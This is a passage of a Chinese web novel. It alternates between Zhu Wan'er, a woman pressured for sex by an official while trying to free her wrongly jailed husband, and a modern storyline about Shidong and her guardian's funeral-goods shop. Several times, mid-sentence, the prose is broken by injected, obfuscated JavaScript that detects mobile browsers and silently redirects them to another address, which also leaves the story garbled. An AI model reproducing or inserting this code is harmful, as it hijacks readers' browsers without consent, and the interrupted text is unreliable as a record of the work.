柯晋元不语,连门都未进,欠身把一个小罐放在靠门的案几上,“这个药膏治冻疮,你拿回去试试。”余光继而瞥见她的绣棚,温润一笑,“时候不早了,早点回去歇息吧。” 门外纷纷扬扬的雪花,祝婉儿讷讷看着柯晋元在雪地里渐行渐远。 几年后的上元节,他们走在你推我搡的闹市,祝婉儿突然问起那晚的事,柯晋元闻言淡淡一笑,“你那手背肿的跟酱肘子似的,想不注意都难。” 祝婉儿瞪他一眼,眼里净是灵动的羞意。 柯晋元敛了敛神,重新解释:“瞧着那么小的姑娘,手冻成那样,爹娘该心疼了。” 祝婉儿默默笑了,并不意外柯晋元的回答,在了解这个人后,她知道即使那晚不是自己,他也会一样冒着大雪去而复返给人送上药膏。 闹市人多,祝婉儿不小心碰上旁边人的手背,在她缩回手前,对方抢先一步抓住了,祝婉儿一僵,抬头对上柯晋元含笑的双眼,他们谁都没有出声,借着拥挤人群,握紧彼此的手。 * “少夫人,不好了,少爷在狱中咳血了。” 来报消息的狱卒曾受过柯家恩惠,这段日子也多亏了他明里暗里帮了不少忙,祝婉儿从绣纺接到消息,片刻都不敢耽搁立马叫人备了马车。 柯晋元是早产,身子骨弱,一到冷天容易感染风寒,可是因风寒咳血这是从未有过的,祝婉儿不停叫车夫快点。 “少夫人,这刚下过雪,马蹄打滑啊。”车夫在外面牵着缰绳为难道。 “停车。” 祝婉儿跳下马车,深一脚浅一脚往衙门赶去,可刚到大牢门口便被拦下,说无通报不得入内,祝婉儿读懂狱卒的意思,掏出荷包一人给了一两,收到银子的狱卒立马放行。 即使柯家为了柯晋元不在狱中受苦出了那么多银子,但大牢就是大牢,再怎么打点都不比家里,祝婉儿一进昏暗大牢,浑浊的酸气,霉味,痛苦的呻吟,哀叫,一股脑扑面而来。 她埋头用帕子拂去眼角的泪跟着狱卒快步上前。 “云璟。” 大牢门一开,祝婉儿迫不及待奔向躺在用几块旧木板搭出来的榻上的柯晋元,他身上的蚕丝绒被是她亲手缝制的,如今,上面沾了斑斑血迹。 “婉儿怎么来了。”柯晋元抬手想拂去她颊边的泪,刚一伸手发现她的脸比自己的手还凉,这才注意到她湿润的鬓角和眼睫上的冰粒,刺骨的窒闷感涌上喉咙,云青被面又新添了一块血迹。 “不碍事。”柯晋元徒劳安慰着眼前的人。 祝婉儿不说话,动作轻柔替他擦干净嘴角的血迹,扶着他躺下,“云璟,等我片刻。” 柯晋元躺在榻上,看她在牢门口低声对狱卒说了几句,随后掏出一锭银子递过去,没一会儿,狱卒端来一盆热水。 “云璟,烫个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16710879|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚吧,我已经差人去找大夫了,你一定会没事的。” 祝婉儿把人扶起来,刚想蹲下被柯晋元制止,一抬眼对上柯晋元难为情的脸,她了然一笑,挣开他的手蹲下试了试水温,“夫君,我们成亲了,这有何难为情。” 柯晋元素来爱干净,即使在牢里也尽力维持体面,可... 鞋袜早已和溃烂的冻疮黏在一起,不少地方渗出的血迹都已暗红,看来伤口已经有段时间了。柯晋元见祝婉儿垂着头半晌没出声,无奈叹气,刚想出声安慰,却见她迅速用帕子带过眼角,随后从随身荷包里掏出了一把小剪子,仰头温婉一笑,“云璟,我给你剪开,疼的话告诉我。” 柯晋元如鲠在喉。 祝婉儿先是在水里泡暖冻僵的手,之后动作麻利剪开袜子,满是伤疤的脚浸在水里又痒又痛,柯晋元忍着没出声,见祝婉儿又从荷包里拿出一瓶冻疮膏后,低笑一声戏谑道:“婉儿有个百宝箱。” 她终于抬起了一直低着的头,眼角的泪顺势滑下,柯晋元强撑的笑在此刻再也维持不住,他们就这么默默注视着彼此,眼里翻滚着浓烈痛意。 半晌后,柯晋元问:“娘有跟你说吗?” 指的什么事,两人心知肚明。 祝婉儿微微一笑,说起别的话来。 “你知道我为什么随身带着冻疮膏吗?”不等柯晋元回答,祝婉儿自顾自开口,“绣纺的姑娘都是十来岁的孩子,一到冬天手背肿的老高,针都拿不利索,我只是做你当初同样的事而已。这一切都是你教我的,如今,我也想这么待别人。” 祝婉儿的眼泪源源不断滑进鬓发,“云璟,我十岁进绣纺,娘教我刺绣,你教我读书认字,柯家不嫌弃我的出身,三书六聘把我娶进门。所以不管娘说什么,我都不会答应。” “我会救你出去,我一定会救你出去。” “等着我。” 柯晋元把人紧紧抱在怀里。 “等我出去,再把街坊邻居请来,我们再成一次亲。” 祝婉儿埋在柯晋元胸口悲怆闷哭, “好。” * 那年冬天格外冷。 自那次咳血后,柯晋元的身子每况愈下,柯家上下急得六神无主。 祝婉儿在吴府门口跪了两天两夜,吴家人打死不松口。柯父一遍遍击鼓鸣冤,衙门去了无数遍,次次无功而返,柯母强撑着抱恙身子拿着熬夜绣好的云肩去找王夫人,王夫人远远见是她,“哎呀”一声,忙叫人关门,隔着门听到她呵斥下人:“你们一个个没长眼睛啊,那柯家人可会叫魂,吴家小儿就是被他们害死的,二少爷刚中举,这个时候来肯定不怀好意,一个个触我霉头,罚你们这个月的工钱,晦气。” 柯秦氏在门外气到发抖,她再也顾不得端庄礼仪,用力拍响王家大门:“王夫人,人在做天在看,前几年你家二公子上京赶考的盘缠是我家云璟救济的你还记得吗?那吴家小儿是得天花死的,不是我家云璟害的,我家云璟不会叫魂!” 门内无人回应。 柯秦氏失魂落魄往回走,途径街市时,一小孩不小心撞到自己,还没等看清是谁,那孩子的娘神色匆匆揪着他耳朵拉走了,接着看到其他妇人都不约而同带着孩子远离自己,她了然,想起在狱中的儿子,停在闹市中,指着面前一个个神情戒备的人,又哭又笑, “这些年,柯家绣纺收容了多少你们养不起的姑娘,几年前发水灾,是我柯家开仓布施,你们才没被饿死,还记得当初你们一口一个说柯家是活菩萨的嘴脸吗,现在你们都怕我,都说我柯家人会叫魂,当我们如蛇蝎,笑话,真是天大的笑话,你们等着看吧,报应迟早会落到你们每一个人头上,你们等着看吧!” 在场人不出声,埋头牵着孩子离开。 祝婉儿终于绣好了那副群仙祝寿图,等不到知府母亲生日那天,一大早便叫了马车前往知府府邸,紧赶慢赶临近薄暮终于到了,可来通报的婢女却说老夫人这段时间斋戒,不见客,问何时能见,婢女支支吾吾,眼神躲闪,这模样祝婉儿见过太多,顿时了然。 “过几日便是老夫人生日,可否把这幅群仙贺寿图转交给老夫人。” 祝婉儿把手里的绣轴小心递过去。 强行求见肯定行不通,在婢女接过绣轴后,她准备找个客栈住下,计划明天再来拜访。 这时,府外停了一辆马车,上面下来的人祝婉儿之前和柯父来拜访知府时见过一面,是知府的钱师爷。 早之前就听柯父说过知府身边的师爷很有手段,祝婉儿仿佛看到了救命稻草,急匆匆迎了上去,还未开口,被对方一句“柯少夫人”打得措手不及。 祝婉儿没来由心头一跳,“师爷认识民女?” “当然,去年老夫人去柯家绣纺拜访时,下官也在,有幸见过柯少夫人。” 她完全没印象。 “柯少夫人可是为了柯少爷的事前来?”钱师爷一语道破祝婉儿的目的,继而淡声道,“柯少爷的事下官有一法子,柯少夫人是否愿意去府上听在下一言?” 祝婉儿望着师爷,他静静凝视着自己,一股无形的压迫感袭来,手揪着裙边缠紧又放下,最后,她松了手,点头说好。 “如此甚好。” 钱师爷把祝婉儿扶上马车。 31. 第 31 章 端着精致菜碟的下人进进出出,最后一道菜上来时,下人大着胆子瞥了一眼梳着妇人髻的女子,一道警告视线划来,他急忙放下菜,轻手轻脚退了出去。 门合上的声音还没有外头呼啸的风声大。 “招待不周,柯少夫人莫要嫌弃。”钱肇冲坐下就一直端坐着的祝婉儿开口致歉。 祝婉儿望着满目佳肴,交叠在膝头的手不知不觉沁出了汗,她忙起身行礼,“民女一介布衣,得师爷如此款待,是民女荣幸。” 钱肇笑了两声,往空着的酒杯中倒了酒,“柯少夫人不必拘谨,先吃饭吧。” 祝婉儿坐回位置,室内暖和明亮,她小心翼翼拿起筷子,挑了离自己最近的胭脂鹅脯。 低头用餐时,她感到有堵墙,不断朝自己逼来,压上喉咙,只够人勉强吞咽。 祝婉儿吃完那片胭脂鹅脯,再没勇气夹菜,连吃了几口白米饭后听到钱肇问她家中几口人。 “民女双亲早逝,就剩我一个。” “那柯少夫人也算遇到好人家了。”钱肇淡淡回着换了双筷子,往空碗里夹菜。 “钱师爷说的是,柯家一家都是极好的人,我夫君为人正直,断不会叫魂之术,这一切都是吴家设计陷害,还请师爷明查,还我夫君清白。”祝婉儿抓紧时机连忙说道。 钱肇抬眸看向祝婉儿,从刚刚到现在,只有说起柯家,她才话最多。 他把装满菜的空碗放到祝婉儿手边,说得随意又不容置喙,“柯少夫人,府上有个规矩,吃饭不谈公事。” 祝婉儿接下来组织好的话顷刻间梗在喉咙,她轻声回了句“是。” 席间钱肇还问了些祝婉儿小时候的事,她的喜好,祝婉儿一一回答,默默吃着钱肇放在她旁边的菜。 一顿饭吃得食不知味,几个下人进来手脚麻利撤下碗碟,奉上茶点,端上两盏精致小盅后,又一次轻声轻脚退出门外。 “关于柯少爷的事,我也早有耳闻,只是如今朝廷彻查此事,没有充足证据,你如何为柯少爷脱罪?”钱肇喝了口热茶,直入正题。 “可是我夫君真的是被陷害的,吴家小喜听说是死于天花,和我夫君绝无干系。” “听说?柯少夫人,断案讲究证据,你可有证据证明吴家小喜死于天花?” 祝婉儿哑口无言。 吴家人守口如瓶,她至今连小喜葬在何处都不可知,得天花这事不过是从董大那听说的。 现在,董大也死了。 “吉丰当地若是出了天花,知县怕是马不停蹄上报朝廷了,吴家人担得起欺瞒不报,掉脑袋的死罪吗?” 祝婉儿拽紧双手。 “更何况天花传染性极强,若小喜得的是天花,为何吴家上上下下都平安无事?” “也许...是吴家人隔离得当。”祝婉儿越说越小声。 钱肇但笑不语,他笑里满是不计较,他知道,祝婉儿的话连自己都说服不了。 “一个活蹦乱跳的孩子离奇死亡,在柯府搜出了小孩发辫,并且有证人,柯少夫人,柯少爷怕是凶多吉少。” 祝婉儿握上滚烫的杯壁,一言不发。 “不过我有一法子。” 钱肇的话如同仙乐入耳,祝婉儿连忙问是何法子。 “柯少夫人,法子我确实有。”钱肇无视祝婉儿殷切的神色,把手边的瓷白小盅往祝婉儿的方向推了过去,犀利反问道,“可我为何要冒着砍头的风险去救你夫君呢?” 祝婉儿盯着面前的瓷白小盅,手指不自觉抖了起来。 那堵墙离自己越来越近。 “我帮你,有何好处?” 等祝婉儿反应过来,她人已经跪在了地上,额头贴着冰冷的瓷砖,一句话都说不来。 钱肇居高临下俯视着跪在地上的人,片刻后,他扶起祝婉儿,掀开她面前的瓷盅,漫不经心说道:“这厨子真该打,饭都吃完了,才上菜,柯少夫人,要不尝尝这最后一道菜?” 祝婉儿脸色苍白垂眸望向掀开的瓷盅。 里头空空如也。 她对上钱肇不再遮掩的眼神,明白过来, 自己,才是这最后一道菜。 她强忍的泪水再也撑不住,如垮塌的落石滚落下来。 * 柯晋元隐约听到了公鸡打鸣,知道如今是何时辰,这是他入狱后唯一确认时辰的手段。 又一天了。 柯晋元一夜未睡,大牢里一天比一天冷,即使盖着厚褥子,寒气却不住往骨头缝里钻。 正想着要不要下床活动活动,门口传来开锁声,一扭头,竟是祝婉儿。 柯晋元从床上惊坐起来,还未等开口,来人便已扑进怀里,带来一身凉气。 “婉儿...”柯晋元抚上她满是水珠的秀发,注意到她冻红的耳朵,以及不住颤抖的身子。他摸到祝婉儿冷透了的手,把它们放到自己胸口取暖。 他不去追问为什么她怎么大清早来,只是静静抱着她,直到怀里传来细碎哭声。 那哭声,像冬夜里打在瓦片上的冬霰,刷刷刷的,噼里啪啦一粒粒跳进脖颈,融成冰水流进心里。 好冷。 祝婉儿没有哭很久,很快便擦干眼泪,从怀里拿出一个纸包,一打开,是以前他们常吃的东铺家的水晶蒸糕。 “云璟,饿了吧,快尝尝,还热着。”祝婉儿还有浓重的鼻音,语气却已轻快起来。 柯晋元伸手拿了一块递到祝婉儿嘴边,两人分食了一块蒸糕,再吃,已如鲠在喉。 “下次不许这么早出来,天冷,路上危险。”柯晋元把蒸糕小心收好,郑重叮嘱祝婉儿。 “云璟,我是来跟你道歉的。”两人借着厚褥子的遮挡,手紧紧握在一起,祝婉儿双眼通红,眼神却温柔。 “为何道歉。” “我说我会救你,可我办不到了。” 事情刚发生的时候,祝婉儿坚信这世上一定有公道真理,所以她,以及柯府上下,无时无刻不怀着柯晋元会回来的决心四处求人谋划。 可日子一天天过去,叫魂一事各地盛行,每天都有人含冤入狱,朝廷宁可错杀一百也不放过一个的行事态度,让他们为柯晋元讨回公道的这条路举步维艰。 “我从没怪过你。”柯晋元把妻子揽入怀里。 他每天都能听到牢里的哀嚎声,看到衙役时不时拖着死尸出去,有时没及时发现,直到气味扩散了才知道。 而自己,能拥有一间独立牢房,想必柯家已是花了极大代价,他还有何不满足。 “婉儿,要说道歉,是我对不起你,没让你过好日子。” 祝婉儿在他怀里摇头。 柯晋元抚上她脖颈后的指痕,刚刚肢体放松的妻子,瞬间被冰冻住,两人默默无语,公鸡又打鸣了一次后,他听到祝婉儿问:“云璟,你相信我吗?” “我信。” 祝婉儿从他怀里抬起头,刚哭过的眸子,冷灵灵,简单回了一句好。 柯晋元失笑,替妻子整理好凌乱的鬓发,轻叹一声:“傻婉儿。” 前因后果,对他们来说都不重要了。 祝婉儿没有待很久,她出去一天,怕柯母担心,想先行回家报个平安。 临走前,她深深凝望着柯晋元愈发消瘦的脸颊,缓缓道:“以后我每天都来看你可好。” “求之不得。” 回到家,祝婉儿先是给柯秦氏报了平安,而后吩咐嬷嬷准备热水,她要沐浴。 嬷嬷手脚麻利,没一会儿就准备好了。 祝婉儿泡在热水里,不远处的案几上,放着她捡回来的群 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“钱某并未有十成把握。” 祝婉儿听后,直起身子朝钱肇深深俯首,“多谢钱师爷。” 寒风把挽联吹得哗啦作响,钱肇解下身上大氅,盖上去,竟连人也看不到了。 他看向供台上的灵位,隔着玄色大氅拍了拍:“柯少夫人,活着。” “那日,多谢。”祝婉儿颤抖的声音从氅下传来。 “我从不喜勉强人,保重。” 钱肇转身离开。 那晚,她缩在床脚,在自己靠近后,忽然从床上爬下跪在脚边,字字血泪陈情:“钱师爷,民女办不到。民女深知,这也许是救夫君出狱的唯一机会。可是民女办不到。” “你不想柯晋元出狱吗?”钱肇抚上她后颈光滑的皮肤,不自觉用了力。 “我想。可夫君也教过我不可折节。” “不可折节?”钱肇像是听到什么笑话,大笑起来。 “正是。师爷可能不知,民女从小颠沛流离,幸得柯家收留,夫君教我读书认字,他告诉我,不论男子女子,不可折节。”祝婉儿依旧止不住颤抖,却不知哪来的勇气抬头对上钱肇玩味的视线,“夫君在大牢受刑那么多次,都不曾屈服,所以,我也不能。” 钱肇依旧是居高临下的神色,问她你不怕柯晋元死在大牢吗? 她泛着泪光的眸子满是决然:“若是如此,我便随他一起。” 看来,她准备履行那日的话了。 钱肇坐上马车,帘外寒风阵阵。 钱肇走后,祝婉儿从跪坐的蒲团下拿出一封信,扔进面前的火盆中,静静盯着休书二字烧成灰烬。 32. 第 32 章 孟永把小三轮停在门口,从车上卸下几个大纸箱,没眼力见的拾冬老神在在坐着,他叉着腰气喘吁吁冲她喊:“发什么呆,不会搭把手啊。” 拾冬回过神,慢吞吞起身接过孟永手里的箱子,“老板,我已经不是你店员了,使唤人客气点。” “滚你大爷,把刚才的钱还我。” 孟永今天接了个小活,两人默契十足很快就解决了,拾冬便顺理成章留下吃饭。 箱子里都是孟永新进的货,拾冬一样样拿出来熟练摆好,一边摆一边调侃:“进这么多,生意不错啊,看来最近适合死人。” 孟永一掌拍在她背上,直骂她晦气,“别张口闭口死死死的。” “我们就是做这个的,忌讳这干嘛。”拾冬满不在乎反驳。 孟永眼神微闪,不搭腔,问道:“今天这么好的学习机会,怎么不把你师弟叫来。” “他有课。” 哦,忘了说了,郁之已经正式师从孟永,和自己变成了师姐弟。 他们从祝婉儿幻境回来后,郁之不知为何恢复了离魂时的记忆,严厉指责拾冬骗自己,擅自剥夺他的记忆。 “那段日子,我,你,向云黛,星星,在一起那么多天不开心吗,而你却骗我,我那么相信你…” “我…”拾冬感到理亏,像小时候遇到不会的问题,被老师质问有没有好好听课的窘迫。 “你剥夺了我的宝贵回忆。” “那你想怎么样?”拾冬理不直气也壮。 “收我为徒。” “…” 拾冬不想自找麻烦,把他推给孟永,于是他变成了自己师弟。 “我看你是怕他分你钱吧。”孟永一语道破。 拾冬咳了一声,正巧店里来了人,看上去五十多岁,手肘别着白布,急头白脸在小店里转了一圈,手指一边点一边说“这,这,还有这,那个也给我来两个…还有…” “不卖。”孟永粗声粗气打断对方,正准备帮忙拿东西的拾冬一脸茫然看向说话人。 “你这人...”那人正要发作,仔细一瞅后,“是你?” 看来是有过节的。 拾冬想看个热闹,没想到对方直直看了过来,又一脸恍然大悟指着自己反问:“你长这么大了。” ? 拾冬想了半天都没想到这人是谁。 “算了,我去别地买。”那人秉着一副懒得跟你们计较的表情走出了小店。 “他谁啊?”人前脚刚走,拾冬便迫不及待问了起来。 “你初中班主任。”孟永一副恨铁不成钢的样子,“是谁初中被那王八蛋欺负得天天哭的。” 被提醒的拾冬回想起刚才那人的面貌,这才稍稍回忆起了一些细枝末节,她弯腰把做工精致的纸别墅小心翼翼拿出来摆到柜台上,一边满不在乎的说:“可还是得赚钱啊。” 孟永又是一个白眼,扔了句“我去买菜,你看着。”便出去了。 “我要小炒黄牛肉,加泡椒。” “滚蛋,轮得到你点菜。” 拾冬把东西摆好后,将空了的纸箱拿到门店后面的杂物间里。 从杂物间出来,她拧开水井旁边的水龙头洗手。 水哗啦一声,回忆似乎也跟着流了出来。 她是在这里长大的。 门店后有一小块空地,种着一颗结酸掉牙果子的橘子树。水井里没有水,水来源是旁边一个绿锈满满的水龙头。 起先门店后面就两间房,没有厨房,连厕所都得去外面的公厕,洗澡就更别提了。 后来孟永带她住进来,在水井旁边自己买水泥和沙,搭了个简易灶台做饭,厕所没有条件做,但念及她是女孩,用木板搭了个小隔断,让她能有个地方洗澡。冬天冷风一个劲往木板缝里钻,为了水桶里的水不那么快冷,她练就了十分钟洗完澡的技能。 她搬出去后,这就变成了杂物间。 小学,初中都是在这附近的学校念的,离得近,不久便有同学在班里传她家是开纸钱店的,纸钱女这名字从小学一直伴随到高中。 那时候最害怕的便是放学,拾冬性子强,不愿在人前示弱,于是总假装作业没写完,拖到班里最后一个走。 但人要欺负你的时候,总有办法,男男女女一边在校门口吃吃喝喝,一边等她放学,跟在身后时不时大笑起来,离家不过十分钟路程,她却走得格外艰难。 可突然有一天,那群人消失了,原以为是今天凑巧不在,可连续几周他们都不再出现,拾冬也就渐渐放下心了。 后来才知道是孟永挨个儿找到他们家长,警告他们再来找麻烦,就去底下找他们祖宗,大家都忌讳走阴人,一个个连忙道歉。 上初中,她长大了一点,跟着孟永,也更知道如何保护自己,纸钱女这个外号已经无关痛痒,但更头痛的事情也出现了。 她学习很差。 二元一次方程怎么都不会解,三角形求边长怎么都看不明白,那时初中班主任是数学老师,每次上课都点她名回答问题,回答不出就用三角板狠狠打她手,打她背,骂她猪脑子。 她越来越害怕上数学课,越害怕就越学不会,那时候她常年数学年级倒数,天天挨骂。 为了提高成绩,写数学到半夜,可数学并不是天道酬勤的学科,全是红叉的作业本深深击垮了她。 她经常躲在被子里哭,人又逞强,不想让孟永知道,就这么拧巴过了很久。 直到初二下学期孟永给她转班,新数学老师是刚毕业的大学生,人温柔又有耐心,她的成绩虽然没有夸张到一跃到年纪第一,但之后一直能稳定在及格线。 “为什么突然给我转班。”那日开完家长会,孟永神采奕奕拿着老师颁发给她的学习进步奖状左看右看,拾冬在旁边默默问道。 “哪有那么多为什么,那教室风水触我霉头,你看,一给你转班,店里生意就好了。”孟永收起奖状不自然咳嗽了两声,“早该给你转了,害我损失了那么多钱。” 中考结束勉强上了当地二中,她开始发育,抽条,变得好看。曾经骂她纸钱女的男生转过头来给她写情书,被她当众扔进垃圾桶。 拾冬太过早熟,没有那么多风花雪月的心思,高中时候,她一心就想着赚钱,经常宁愿旷课都要跟着孟永去走阴,孟永常骂她“死丫头,不好好读书,掉钱眼里啊。” 拾冬才不理他,偷偷数着自己的小金库。 那年高考,拾冬没考上好学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“电话什么意思,为什么要搬走?” “这铺子是老李头的,他前阵子心梗没了,现在他儿子说要把这铺子收回去,不租给我们了。”孟永拿了毛巾走到外面去。 “他收回去干什么?”拾冬跟在身后。 “说要开餐饮店。”孟永打开外面的灯,蹲在水龙头边上洗脸。 “丧葬店开餐饮店,他有没有脑子?” 孟永闷笑了声就水洗了把脖子。 “他一定要收回去吗?这铺子又不是他的。” “人家手里有房契,你还能赖着不走。”孟永拧干毛巾挂在脖子上,把脚放到水龙下冲洗,不知道想到什么,突然笑了,指着不远处的那棵橘子树说,“你刚来的时候还没这树高。” “现在也没有。”拾冬冷冷拆台。 孟永一愣,笑得更大声,“是啊,你长它也长。”他提过水桶,往树根倒了点水,“都长大咯。” “你找到新铺子了吗?” “不找了,干不动了。”孟永把水桶放到一边,抖了抖鞋子里的水,“老李头看我俩可怜,才一直没涨房租,不然就这地段,我们哪租得起。” “那之后你住哪?” “我一老头哪不能去。”孟永看了拾冬一眼,开解道,“放心,赖不上你,我哪天要死了,也不给你添麻烦。” 说完佝偻着腰去前厅找烟。 雨已经停了,白炽灯的昏黄光线反射在湿淋淋的地面波光粼粼,拾冬望向那棵和她一起长大的橘子树,说:“是吗,那就好。” 养橘子树的人,怎么那么老了。 33. 第 33 章 一直到端午放假前,拾冬都在找房子,连续看了很多套,都没有满意的,这天吃完饭回寝时,路过学校荣誉墙看到了姜州的照片。 他现在叫吴昭州。 他被评为优秀毕业生,计划9月去国外名校攻读博士。 真厉害。 小时候他年龄最小,但脑子最灵光,云黛和自己还需要互相掰手指才能算明白的两位数加减,他已经能口算三位数的了。 看来他过得很好,能上大学,还能去国外读博。 真好。 回了寝室,一进门看到桌上摆着的奶茶,刘姐说是郁之拿过来的。 难怪刚刚问她在不在寝室。 拾冬戳开奶茶,天热了,走了一路,这奶茶正好解暑。 “我看这孩子对你挺好的。”刘姐想做月老的心又蠢蠢欲动。 拾冬低头把奶茶的钱给郁之转过去后,回答,“送杯奶茶就叫好,那好也太廉价了。” 刘姐反问:“那你觉得一个人对你好,应该是怎么样的。” 是啊,怎么样才是对一个人好呢? 拾冬一直喝完杯里的奶茶也想不出答案。 晚上在外看完房子回学校,拾冬在寝室楼下看到绿头漂浮在半空给坐在树干上的言言拍照,忽然闪神想起小喜。 从祝婉儿那回来已经过去一周,在祝婉儿幻境里发生过的事,纵使当时再怎么在意,如今也逐渐削薄。更何况,在幻境里看到的是真是假,她也无从分辨,索性便当无事发生。 这时手机弹出一条信息,“美女,晚上这套怎么样,两室朝南,不错吧。” 拾冬坐在花坛边回复,“房子还可以,不过地理位置有点偏,你那边有没有楼上有房,楼下有商铺出租的那种。” “美女,你要开店吗?” “嗯。” “开什么店,要是开美甲,花店,蛋糕店这一类的我手头有合适地段推荐。” “丧葬店。” “?” “你先找吧,找到再联系我。” 没两天,中介火急火燎联系拾冬,带她去看了一套房。 房东做生意失败,经济上急需周转,连带着小区外面的商铺一起出售,拾冬去看了,铺子比菜市场的那个大十来个平方,只是... 盛辉小区。 这不是谢主任家吗? “美女,这套是真不错,虽然是老小区,但这是学区房,小学,初中,大学附近都有,基础设施成熟,靠近公交地铁,方便得不得了,你去别的中介公司问问,这个小区一有空房马上就没了,很抢手的。 你别看现在那房子里面乱七八糟的,只要有人要,马上给你打扫得干干净净。前几年她女儿出嫁,还翻新了一遍,你看装修也知道,自己住的房子,材料不可能用差的,要不是说起这房东也是背,听说被熟人骗去投资,亏了好多钱,不然她也不能卖这房子。” 虽然不想和谢主任做邻居,但是这房子确实不错,老中介一看拾冬这神情就知道她满意,忙趁热打铁:“美女,这房子每天起码有三四个人来看,铺子也是好铺子,我个人是不介意这生啊死的,人嘛,总有这一遭。但你要租人家的铺子开这店,有些房东嫌晦气不愿租也是常有的事。” 确实,菜市场那几家开丧葬店的,全是自家铺子。 “你现在两套一起拿下,房东说能给你这个数...” 拾冬看了看中介比出来的手势,结合自己手头的钱,一时之间没有回答。 中介看出拾冬的为难,忙说:“我刚说的是全款,首付用不了这么多,现在都是贷款。” “我要全款。”拾冬事先查了一下购房资格,发现自己只能选全款这一条途径,并且她也不想给银行打工,只是... “全款压力很大...” “这房子你能帮我留多久?” “这房子不交定金的话,可能等不到端午就没了,这地段你也看到了。” “我交。” “好,我们现在回门店签合同,门店很近的,骑车过去十分钟。” 拾冬在门店交了5万定金,约定端午回来后签合同,房东要收拾收拾搬家。 回学校路上收到孟永信息,问自己下周端午有没有空,要出去一趟。 现在孟永竟然还接得到出门的活,不容易啊。 拾冬回了个好,孟永在那边说:“把你师弟叫上,不然显得我这师傅失职了。” “...行吧。”拾冬勉为其难回复,接着问,“什么活儿,还需要去外地。” “是一个大门户,端午祭祖,去做法事。” “在哪儿?” “建丰市开元县吴村。” * “乘客们,晚上好,欢迎乘坐本次列车....” 车厢里,还有不少找位置的乘客走来走去,郁之坐在中间,眼珠偷偷转到左边观察一言不发的师傅,又转到右边看了看一脸不高兴的师姐,“师姐,你...” “闭嘴。”拾冬瞥了想当和事老的郁之,也不知道是在说给谁听,“我下一站下车回去。” “哼..”孟永哼一声,不置可否。 “师姐啊,你别....” “你烦不烦,管好你自己。” 拾冬嫌郁之嘴碎,拿上行李走向车厢门边,等下一站下车,车窗上映出自己不悦的脸。 学校端午值班,是有三倍工资的,但自己为了这次出行,忍痛推掉了没想到,刚一上车,孟永竟然说传统法事,不允许女子入场做法。 “你为什么不早说,你这不耽误我时间吗?”拾冬一听,火气噌一下上来了。 “耽误你什么时间,你不参加,去观礼看看也行。”孟永轻描淡写地说。 “我没兴趣看别人家祭祖,关我屁事。”拾冬正要下车,结果车门关上了。 “端午又没事,难得一次机会,去看看,当旅游。”孟永脸上洋溢着带小孩出门玩的喜悦。 “谁要跟你们去旅游,我闲得慌?” 拾冬说完,明显看到孟永开心的表情顿住,自觉失言,但丢不下面子道歉,只能僵着。 孟永也被扫了兴,摸出口袋的烟,意识到不能抽后,重新把烟揣回口袋,粗声道:“不想去就算了,你下一站下车。” 本想着都上车了,只要他再给自己一个台阶下,就答应留下来,没想到他要自己下车,拾冬梗着脖子回复:“可以!” 这爷俩... 郁之探头看了看门边的拾冬,扭头对孟永说:“师傅,你别生气了,师姐是不能凶的。” 孟永瞥了瞥郁之。 他一个大老粗,无子无女一辈子,哪懂这个。 遇到拾冬是个意外,下那么大的雪,都快冻死了,即使被孤魂野鬼围住,也倔强地不吭声,是个狠丫头,他想起小时候的自己,不免动了恻隐之心。 只是这丫头,脾气太倔,自己不止一次说过她脾气大,说话难听,个性太强,没几个人受得了。可那丫头偏偏不当回事,满不在乎反驳:“我自己开心就行了,我管他们能不能受得了。” “那你说怎么办。”孟永尴尬清了清嗓子,接到法事的时候,他特地查了查,去的地方算是个旅游景点,他就想着带拾冬出去看看,别人端午都出去玩,他不想拾冬还待在没人的寝室。 本想着到了再告诉她不能进场做法一事,结果一高兴,说漏嘴了。 “那我等会儿把师姐哄回来,你别多说话。” 郁之胸有成竹的模样让孟永侧目,“你有这本事?她脾气那么大,你能受得了?” “我不会烦她的。” 孟永一副见鬼的模样看着郁之,顿了几秒,声音高了几分强调:“同门之间不许搞对象!” “啊?哦…”郁之挠了挠头,“那我去了,师傅。” “嗯。” 孟永靠着椅背,想着郁之肯定不会成功,没想到十分钟后,两人一前一后落座了,他感到威严受损,“不是说...唔..” 话还没说完,被郁之捂住了嘴,“小嘴巴,闭起来,嘘。” 孟永撇开郁之的手,哼一声扭过头看向车外。 放假前一天,列车里塞满了人,几个小孩蹦跳着跑来跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724767|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,拾冬闲来无聊,干脆打开手机查了查即将要去的地方。 建丰市开元县吴村 原以为不过是个不知名的小村,结果一搜出来,这个村不简单。 这个村有一个流传百年的纺织企业——吴氏绣纺。 与此相关词条十几页,随便点进看几个,要不是某某企业老板去吴村参观纺织工厂,要不就是吴氏绣纺在国际纺织比赛上拿了奖,最新的一条是报道吴村即将在吴氏祠堂举办端午祭祖仪式,欢迎社会各界人士一起参观。· 